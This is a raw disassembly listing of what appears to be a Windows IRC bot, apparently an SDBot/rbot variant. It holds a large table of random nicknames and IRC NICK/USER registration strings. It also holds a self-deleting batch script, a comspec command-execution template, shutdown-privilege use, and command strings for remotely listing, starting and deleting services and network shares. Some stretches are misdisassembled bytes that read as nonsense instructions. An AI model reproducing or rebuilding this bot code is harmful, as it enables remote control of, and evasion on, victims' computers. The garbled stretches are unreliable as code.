dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; ╛ db 42h ; B db 0 db 98h ; ≤ db 87h ; ┤ db 43h ; C db 0 db 94h ; ■ db 87h ; ┤ db 43h ; C db 0 db 90h ; ░ db 87h ; ┤ db 43h ; C db 0 db 0D4h ; т db 0C2h ; б db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset loc_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h 